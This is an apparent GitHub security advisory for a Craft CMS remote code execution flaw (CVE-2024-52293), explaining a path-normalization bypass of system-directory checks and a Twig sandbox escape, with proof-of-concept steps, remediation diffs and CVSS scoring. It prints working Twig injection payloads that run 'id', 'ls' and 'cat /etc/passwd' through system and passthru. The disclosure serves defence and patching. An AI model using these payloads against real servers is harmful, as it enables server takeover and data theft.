Skip to content

Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI

High severity GitHub Reviewed Published Nov 13, 2024 in craftcms/cms • Updated Nov 13, 2024

Package

composer craftcms/cms (Composer)

Affected versions

>= 4.0.0-RC1, <= 4.12.1
>= 5.0.0-RC1, <= 5.4.2

Patched versions

4.12.2
5.4.3

Description

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

  1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start

start

  1. Create a new filesystem with base path ../templates/poc

filesystem

Notice that the poc directory was created

dir

  1. Create a new asset volume using the poc filesystem

asset

Upload a poc.ttml file with RCE template code

{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

upload

ttml

  1. Create a new route * with template poc/poc.ttml

route

  1. This leads to Remote Code Execution on arbitrary route /*

rce

Remediation

diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
             $from = static::absolutePath($from, ds: $ds);
         }

-        return $from . $ds . $to;
+        return FileHelper::normalizePath($from . $ds . $to);
     }

     /**

fix_norm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
             new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
             new TwigFilter('literal', [$this, 'literalFilter']),
             new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+            new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+            new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+            new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
             new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('merge', [$this, 'mergeFilter']),

fix_ssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

References

@angrybrad angrybrad published to craftcms/cms Nov 13, 2024
Published to the GitHub Advisory Database Nov 13, 2024
Reviewed Nov 13, 2024
Published by the National Vulnerability Database Nov 13, 2024
Last updated Nov 13, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

0.070%
(33rd percentile)

CVE ID

CVE-2024-52293

GHSA ID

GHSA-f3cw-hg6r-chfv

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.